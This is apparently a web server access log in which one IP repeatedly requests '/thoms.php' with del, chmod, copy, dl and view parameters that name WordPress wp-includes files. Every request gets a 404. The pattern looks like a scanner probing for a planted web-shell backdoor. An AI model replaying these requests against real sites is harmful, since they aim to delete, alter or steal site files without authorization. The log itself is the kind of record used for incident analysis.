45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?del=media.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=block-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcron.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcron.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?del=http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?dl=meta.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=version.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcache-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcache-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?del=class-wp-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:04 -0400] "GET /thoms.php?chmod=media.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=sodium_compat&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=rest-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblocks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fblocks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=bookmark.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?chmod=link-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=robots-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwp-diff.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwp-diff.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?del=sitemaps&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=nav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?dl=https-detection.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?del=admin-bar.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?dl=theme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:06 -0400] "GET /thoms.php?chmod=fonts&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?del=category.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?dl=class-wp-post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?dl=class-avif-info.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?dl=default-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?del=template-canvas.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?dl=class-wp-site.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:07 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:08 -0400] "GET /thoms.php?chmod=l10n.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
